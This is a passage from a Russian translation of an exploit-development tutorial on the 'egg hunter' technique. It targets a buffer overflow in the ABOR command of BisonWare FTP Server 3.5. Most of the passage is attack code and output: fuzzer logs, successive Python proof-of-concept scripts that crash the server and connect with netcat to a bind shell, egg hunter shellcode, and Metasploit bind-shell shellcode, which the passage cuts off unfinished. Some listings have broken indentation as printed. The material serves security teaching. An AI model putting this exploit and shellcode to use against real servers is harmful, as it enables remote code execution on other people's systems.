Техника "Egg hunter" в переполнение буфера (перевод) - Ч.1

Всегда хотел написать статью про переполнение буфера. Но потом подумал, зачем плодить 100500 статью про данную ошибку, и решил перевести статью чувака под ником Ashfaq Ansari. В данной статье все отлично и просто разжевывается что к чему, с подробными скринами. Плюс ещё рассказывается про использование техники "Egg hunting" в переполнение буфера. Вообщем респект ему. Статья больше ориентирована на новичков, так что мастодонты взлома наврятле найдут для себя что-то новое =). Перевод получился вольным, хотя переводить было мало. Статью разделил на две части, чтобы пост не был большим. Итак, понеслась.

Название статьи: Egg Hunter - A Twist in Buffer Overflow
Оригинал статьи: http://cdn03.exploit-db.com/wp-content/themes/exploit/docs/18482.pdf
Автор: Ashfaq Ansari
Команда: HackSys Team – Panthera
Их сайт: http://hacksys.vfreaks.com


Часть №1. Техника "Egg hunter" в переполнение буфера.


ВВЕДЕНИЕ

Наступило время для завтрака, и я предпочитаю хлеб с омлетом. Яйца – это фантастический источник энергии для людей 8).

Яйца (eggs) также играют важную роль, когда речь идет о комплексном создании эксплоитов (exploit). Например, в переполнении буфера в стеке, в памяти или в неисполняемом стеке (что намного реже). То есть, это те случаи, когда у нас достаточно памяти, чтобы внедрить свой шеллкод (shellcode).

Когда шеллкод "Egg hunter" выполнится, он будет искать уникальный "тэг", который является префиксом к большой начинке шеллкода (payload) и после того, как он его найдет, начнет исполнять этот шеллкод.  

Следующий вопрос, всплывающий в Вашем разуме: «Зачем нужен “Egg hunter” для переполнения буфера в стеке (далее просто переполнения буфера)?»

Техника "Egg hunter" используется тогда, когда не хватает свободной памяти для размещения шеллкода. Для этого существует уникальный "тэг", который является префиксом к шеллкоду.

Давайте поговорим о реализации кода "Egg hunter" в состоянии переполнения буфера.  

Я уверен, что после прочтения этой статьи, Вы будете способны ответить на вопросы, зачем Вам нужен "Egg hunter" в состоянии переполнения буфера и как им пользоваться.

ЗАЧЕМ НУЖЕН “EGG HUNTERS”?

В классическом переполнении буфера, размер буфера достаточно большой, чтобы внедрить шеллкод.

Но, иногда случается так, что свободной памяти не хватает для вставки шеллкода, после того, как мы записали его в буфер.

Давайте посмотрим на две диаграммы эксплоита переполнения буфера:

После рассмотрения этих диаграмм, возникает вопрос: где разместить оставшиеся 175 байт шеллкода в стеке?

Таким образом, техника "Egg hunter" была придумана для преодоления этой ситуации. 

NTDISPLAYSTRING

В данной статье, мы будем использовать функцию NtDisplayString для нашего шеллкода, которая использует только 32 байта свободной памяти. Спасибо тебе Skape, за твое исследование шеллкода в технике "Egg hunter"! Данная информация была добавлена из его статьи.

NtDisplayString

Размер: 32 байт
Системы: Windows NT/2000/XP/2003
Размер яйца: 8 байт
Исполняемое яйцо: нет

Системный вызов, который был использован для операции "Egg hunting" – это функция NtDisplayString. Её прототип выглядит следующим образом:

NTSYSAPI NTSTATUS NTAPI NtDisplayString(
IN PUNICODE_STRING String
);

Данный системный вызов (NtDisplayString) отображает заданную строку в текстовом режиме. Попытка отображения строки без предварительного переключения системы в текстовый режим может привести к зависанию. Чаще эта функция используется для вывода текста в голубой экран смерти. В нашей реализации этот системный вызов используется для проверки адресного диапазона.

В «Egg hunter» этот вызов используется, потому что его единственный аргумент является указателем, который читается и не записывается, что делает его самым желанным выбором.

Единственный недостаток для payload - что он опирается на системный вызов, который для NtDisplayString не меняется.

Для всех текущих версий Windows он остался 0x43, но вполне возможно, что этот номер может поменяться в последующих версиях Windows, и следовательно payload придется изменить.

Хотя предоставляемая версия не будет работать должным образом на Windows 9X, данные концепции можно с уверенностью применять к системным вызовом на Windows 9X, без резкого увеличения размера.

На сегодняшний день техника "Egg hunter" для Windows стала меньше по размеру и с более элегантным подходом. Это, однако, ограничивает ее работу в Windows NT, но концепции должны быть хорошо применимы на 9X-версиях. 

Давайте взглянем на дизассемблерный код функции NtDisplayString.

Пожалуйста, посмотрите комментарии для лучшего понимания работы NtDisplayString в шеллкоде:

Если мы преобразуем NtDisplayString в HEX-формат, то получится следующее:

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8" + "\x90\x50\x90\x50" + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Строку “\x90\x50\x90\x50” заменим на тэг “w00t”. Тогда в результате код будет выглядеть так:

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8" + w00t + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Как видно выше, код с функцией NtDisplayString используется как поисковой механизм для поиска тэга “w00t” в памяти, и если он его найдет, то начнет выполнение шеллкода.

В реализации NtDisplayString регистр EDX используется как регистр, содержащий указатель, который должен быть проверен на протяжении всей операции поиска.

Возвращаемое значение системного вызова сравнивается с 0x5, который является младшим байтом STATUS ACCESS VIOLATION или 0xc0000005.

Для более подробной информации, посмотрите статью, написанную Skape. Ссылка на статью.

Вот примерный код “Egg hunter’a” с тэгом “w00t”:

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Mona.Py (плагин к Immunity Debugger) упростила процесс создания кода “Egg hunter”. Используйте этот плагин следующим образом:

Мы будем использовать его в следующей части статьи.

ПРОГРАММЫ ДЛЯ ВЗЛОМА

BisonWare FTP Server V3.5
Ссылка: http://www.exploit-db.com/exploits/17649/


Windows XP Professional SP2 - Build 2600
IP адрес: 192.168.137.138


BackTrack 5 R1
IP Address: 192.168.137.143
Ссылка: http://www.backtrack-linux.org/


Immunity Debugger v1.83
Ссылка: http://www.immunitysec.com/products-immdbg.shtml


Mona.Py - Corelan Team
Ссылка: http://redmine.corelan.be/projects/mona


Infigo FTPStress Fuzzer v1.0
Ссылка: http://www.plunder.com/Infigo-FTPStress-Fuzzer-v1-0-download-ad2d710039.htm

В ПРОЦЕССЕ

В данной части статьи мы скачали и установили следующие программы: BisonWare FTP Server v3.5, Immunity Debugger v1.83, Infigoб FTPStress Fuzzer v1.0 и Mona.Py.

Давайте сконфигурируем рабочую папку для Mona.py. В этой папке Мона будет сохранять лог-файлы для того, чтобы после работы мы могли просмотреть все операции в одном файле.

!mona config -set workingfolder C:\Mona\logs\%p

Давайте установим и запустим BisonWare FTP Server v3.5. 

ФАЗЗИНГ. ДАВАЙТЕ НАЧНЕМ.

Мы начнем процесс фаззинга (для справки: http://www.xakep.ru/post/52726/) и определим, какие команды уязвимы к атаке переполнение буфера.

В конце данного процесса мы узнаем количество junk-байт (попросту "мусор"), которыми нужно перезаписать EIP-регистр, или просто повалить ими FTP-сервер.

Запустим Infigo FTPStress Fuzzer v1.0 и проверим FTP-команды, поддерживаемые BisonWare FTP-сервером.

Вводим IP-адрес компьютера, на котором запущен сервер BisonWare FTP. В данном случае IP-адрес виртуальной машины - 192.168.137.138.

Следующий шаг – кликнем на кнопку «Обзор» и откроем окно “Server Log”:

Наш фаззер обнаружил некоторые FTP-команды поддерживаемые BisonWare FTP-сервером. Теперь мы имеем достаточно команд для поиска в них уязвимостей.

Теперь мы можем определить junk-данные, которые будем отправлять на FTP-сервер, чтобы спровоцировать падение программы.

Щелкаем на кнопку “Config” выбираем “Deselect All”. Выбираем только символ “A” и нажимаем кнопку "OK".

Теперь мы готовы начать процесс фаззинга. Кликнем на кнопку “Start” в Infigo FTPStress Fuzzer. Начнем внимательно изучать результаты:  

Мы заметили, что BisonWare FTP-сервер упал. Проанализируем данные, которые мы отправили FTP-серверу.

Дамп вывода фаззера расположен ниже: 

[ Connecting to 192.168.137.138:21... ]
[ Connected, starting fuzz process... ]
[ USER: [test] ]
220-This site is running the BisonWare BisonFTP server product V3.5
220-
220-This product is not registered.
220-
220-Please encourage the operator of this site to register immediately
220-
220-You can contact BisonWare at 100416.3553@compuserve.com for information
220 about our software products and services
530 User name unrecognised - Not logged in

[ PASS: [test] ]
503 Bad Sequence - Need UserID First

[ ERROR: Cannot login to server!!! ]
[ CMD: [ABOR] FUZZ: [AAAAAAAAAAAAAAAAAAAA] SIZE: 700 ]
RECV: 503 User must log on before issuing any other command

[ CMD: [ABOR] FUZZ: [AAAAAAAAAAAAAAAAAAAA] SIZE: 1400 ]
[ Connecting to 192.168.137.138:21... ]
[ Connected, starting fuzz process... ]
[ USER: [test] ]
[ PASS: [test] ]
[ CMD: [ABOR] FUZZ: [AAAAAAAAAAAAAAAAAAAA] SIZE: 2300 ]

В этом логе мы видим, что фаззер подключился к FTP-серверу и отправил 700 байт мусора (junk). Проанализируем нижнюю часть дампа: [ CMD: [ABOR] FUZZ: [AAAAAAAAAAAAAAAAAAAA] SIZE: 1400 ]
[ Connecting to 192.168.137.138:21... ]
[ Connected, starting fuzz process... ]
[ USER: [test] ]
[ PASS: [test] ]
[ CMD: [ABOR] FUZZ: [AAAAAAAAAAAAAAAAAAAA] SIZE: 2300 ]

Из этой части дампа, становится ясно, что фаззер смог подключиться FTP-серверу, но не смог доставить 1400 байт мусора.
Отсюда следует вывод, что размер нашего мусора должен быть в пределах 700 – 1400 байт, только тогда мы сможем успешно завалить FTP-сервер BisonWare.

Теперь попробуем воспроизвести падение программы. Мы напишем эксплоит Proof-of-Concept (POC) на языке программирования Python, потому что Perl и Python лучший выбор для написания POC эксплоитов.

НАПИСАНИЕ ЭКСПЛОИТА

Вот каркас нашего POC эксплоита - BisonFTP.py, который мы будем использовать в этой статье:

#!/usr/bin/python 

import socket, sys, os, time 

print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
  print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
  sys.exit(0)

target = sys.argv[1]  # аргумент №1
port = int(sys.argv[2]) # аргумент №2 
buffer = "\x41"*1400 # 1400 символом "А"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:
  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n') # отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + buffer +'\r\n') # отправляем FTP-команду  'ABOR ' + junk-данные 
  s.close() # закрываем сокет

print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход

Перед тем как запустить этот эксплоит, мы должны установить у него права на выполнение (с помощью команды chmod):

root@bt:~/Desktop# chmod a+x BisonFTP.py

Теперь мы можем запустить его и проверить, повалит ли он наш FTP-сервер. Запускаем и смотрим, будет ли сервак дальше работать.

root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21

================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444

Мы не способны получить шелл на 192.168.137.144. Эксплоит не рабочий. Давайте глянем, что случилось с FTP-сервером.

Мы заметили, что сервер еще работает. Это явный признак того, что мы смогли выполнить произвольный код на сервере BisonWare FTP. 

Откроем программу FTP-сервера в отладчике Immunity Debugger, и еще раз запустим наш сплоит.root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444

Посмотрим в окно Immunity Debugger и проверим, есть ли ошибка «Access Violation» или нет.

Как видно на изображении: “Access violation while executing [41414141]”.

Проверим окно регистров в отладчике и посмотрим на значение регистров:

Значение регистра EIP: 41414141
Значение регистра EBX: AAAAAAAAAAAAAAAAAAAAAAA…..

Мы способны перезаписать регистры EIP и EBX. Мы должны найти точное смещение, которое перезапишет регистр EIP. Для этого, мы отправим цикл вычисления и подсчитаем смещение. Будем использовать Mona.Py для создания циклического вычисления в 1400 байт.

Откроем «C:\Mona\logs\Bisonftp\pattern» и скопируем содержимое.

На следующем шаге, мы вставим это содержимое в наш сплоит BisonFTP.py.

#!/usr/bin/python 

import socket, sys, os, time 

print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
  print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
  sys.exit(0)

target = sys.argv[1]  # аргумент №1
port = int(sys.argv[2]) # аргумент №2 
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5A
c6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2
Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah
9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5A
k6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2
An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap
9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5A
s6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2
Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5B
a6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2
Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf
9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5B
i6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2
Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn
9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5B
q6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2
Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu" #1400 байт циклического шаблона
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:
  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n') # отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + buffer +'\r\n') # отправляем FTP-команду  'ABOR ' + junk-данные 
  s.close() # закрываем сокет

print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход

Теперь перезапустим BisonWare FTP-сервер в отладчике и запустим наш сплоит:root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444

Как видно из результата эксплоита, мы пока не можем получить удаленный доступ.

Проверим окно регистров в отладчике:

Значение регистра EIP: 42376E42
Значение регистра EBX: 3Bm4

Нам нужно перезаписать только первые четыре байта регистров. В этом случае, регистр EIP перезаписан значением 42376E42, а EBX значением 3Bm4. Теперь нам нужно найти точное смещение, которое перезаписывает EIP и EBX. Для выполнения этой задачи, будем использовать Mona.py.

!mona findmsp

Запишем значения из лога Моны:
EIP overwritten with normal pattern: 0x42376e42 (offset 1191)
EAX overwritten with normal pattern: 0x6e42386e (offset 1195)
EBX (0x00a6e78c) points at offset 1151 in normal pattern (length 249)

Из приведенной выше инфы ясно, что регистр EIP перезаписывается после 1191 байт, а EBX после 1151 байт.

Одно важное замечание по этому поводу, регистр EBX содержит только 249 байт в циклическом шаблоне. Следовательно только 249 байт могут быть размещены в EBX регистре. Этого недостаточно для шеллкода, который привязывает шелл на определенном порту.

Перепишем наш сплоит и проверим выравнивание стека.

#!/usr/bin/python 

import socket, sys, os, time 

print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
  print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
  sys.exit(0)

target = sys.argv[1]  # аргумент №1
port = int(sys.argv[2]) # аргумент №2 
buffer = "\x41"*1191 # 1191 символов "A" 
buffer += "\x42"*4 # 4 символа "B" для перезаписи регистра EIP
buffer += "\x41"*205 # 205  символов "A" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:
  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n') # отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + buffer +'\r\n') # отправляем FTP-команду  'ABOR ' + junk-данные 
  s.close() # закрываем сокет

print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход

После модификации сплоита запустим его:

root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444

Посмотрим в окне отладчика записанные значения регистров:

Смотрим в окне «Регистры» значения:

Значение регистра EIP: 42424242
Значение регистра EAX: 41414141
Значение регистра EB: AAAAAAAAAAAA…...AAAAABBBBAAAAAAAAAA……

Как и ожидалось, мы способны перезаписать регистр EIP значением 42424242 (ASCII BBBB). Теперь найдем «плохие» символы, из-за которых шеллкод не выполнится. Опять юзаем Мону, и генерируем байтовый массив от \x00 до \xFF (по порядку, вначале 0,1,2,3 и т.д. до FF).

!mona bytearray

Отрываем «C:\Mona\logs\Bisonftp\bytearray.txt» и копируем шаблон в наш сплоит. Сейчас мы проверим, отправиться ли нормально данный шаблон шеллкода на FTP-сервер.
#!/usr/bin/python 

import socket, sys, os, time 

print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
  print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
  sys.exit(0)

target = sys.argv[1]  # аргумент №1
port = int(sys.argv[2]) # аргумент №2 
badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x
13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x3
3\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x5
3\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x7
3\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x9
3\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb
3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd
3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf
3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") # тест на "плохие" символы
buffer = "\x41"*(1191 - len(badchars))
buffer += badchars
buffer += "\x42"*4  # 4 символа "B" для перезаписи регистра EIP
buffer += "\x41"*205 # 205  символов "A" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:
  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n') # отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + buffer +'\r\n') # отправляем FTP-команду  'ABOR ' + junk-данные 
  s.close() # закрываем сокет

print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход

Запускаем эксплоит:

root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444 Смотрим в отладчике, и проверяем, как сохранились «плохие» символы в стеке:

Отлично! Все символы начиная с “\x00” до “\xFF” дошли до сервера и записались в буфер без повреждения. Теперь нет такого «плохого» символа, из-за которого сплоит не будет работать.

Заметка: Часто бывает так, что «плохие» символы должны быть удалены. Для более подробной информации посмотрите статью FreeFloat FTP Server Buffer Overflow

http://hacksys.vfreaks.com/research/freefloat-ftp-server-buffer-overflow.html

Теперь генерируем код “Egg hunter”. Используем Мону:

!mona egg -t w00t

Копируем сгенерированный код в сплоит.

Теперь создадим шеллкод, который будет висеть на определенном порту с префиксом «w00tw00t». Будем использовать Metasploit для этого:

root@bt:/pentest/exploits/framework/tools# msfpayload windows/shell_bind_tcp R |
msfencode -a x86 -t c

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
unsigned char buf[] =
"\xbd\xa9\x85\x2d\x7f\xda\xd0\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x56\x31\x68\x13\x83\xc0\x04\x03\x68\xa6\x67\xd8\x83\x50\xee"
"\x23\x7c\xa0\x91\xaa\x99\x91\x83\xc9\xea\x83\x13\x99\xbf\x2f"
"\xdf\xcf\x2b\xa4\xad\xc7\x5c\x0d\x1b\x3e\x52\x8e\xad\xfe\x38"
"\x4c\xaf\x82\x42\x80\x0f\xba\x8c\xd5\x4e\xfb\xf1\x15\x02\x54"
"\x7d\x87\xb3\xd1\xc3\x1b\xb5\x35\x48\x23\xcd\x30\x8f\xd7\x67"
"\x3a\xc0\x47\xf3\x74\xf8\xec\x5b\xa5\xf9\x21\xb8\x99\xb0\x4e"
"\x0b\x69\x43\x86\x45\x92\x75\xe6\x0a\xad\xb9\xeb\x53\xe9\x7e"
"\x13\x26\x01\x7d\xae\x31\xd2\xff\x74\xb7\xc7\x58\xff\x6f\x2c"
"\x58\x2c\xe9\xa7\x56\x99\x7d\xef\x7a\x1c\x51\x9b\x87\x95\x54"
"\x4c\x0e\xed\x72\x48\x4a\xb6\x1b\xc9\x36\x19\x23\x09\x9e\xc6"
"\x81\x41\x0d\x13\xb3\x0b\x5a\xd0\x8e\xb3\x9a\x7e\x98\xc0\xa8"
"\x21\x32\x4f\x81\xaa\x9c\x88\xe6\x81\x59\x06\x19\x29\x9a\x0e"
"\xde\x7d\xca\x38\xf7\xfd\x81\xb8\xf8\x28\x05\xe9\x56\x82\xe6"
"\x59\x17\x72\x8f\xb3\x98\xad\xaf\xbb\x72\xd8\xf7\x75\xa6\x89"
"\x9f\x77\x58\x3c\x3c\xf1\xbe\x54\xac\x57\x68\xc0\x0e\x8c\xa1"
"\x77\x70\xe6\x9d\x20\xe6\xbe\xcb\xf6\x09\x3f\xde\x55\xa5\x97"
"\x89\x2d\xa5\x23\xab\x32\xe0\x03\xa2\x0b\x63\xd9\xda\xde\x15"
"\xde\xf6\x88\xb6\x4d\x9d\x48\xb0\x6d\x0a\x1f\x95\x40\x43\xf5"
"\x0b\xfa\xfd\xeb\xd1\x9a\xc6\xaf\x0d\x5f\xc8\x2e\xc3\xdb\xee"
"\x20\x1d\xe3\xaa\x14\xf1\xb2\x64\xc2\xb7\x6c\xc7\xbc\x61\xc2"
"\x81\x28\xf7\x28\x12\x2e\xf8\x64\xe4\xce\x49\xd1\xb1\xf1\x66"
"\xb5\x35\x8a\x9a\x25\xb9\x41\x1f\x55\xf0\xcb\x36\xfe\x5d\x9e"
"\x0a\x63\x5e\x75\x48\x9a\xdd\x7f\x31\x59\xfd\x0a\x34\x25\xb9"
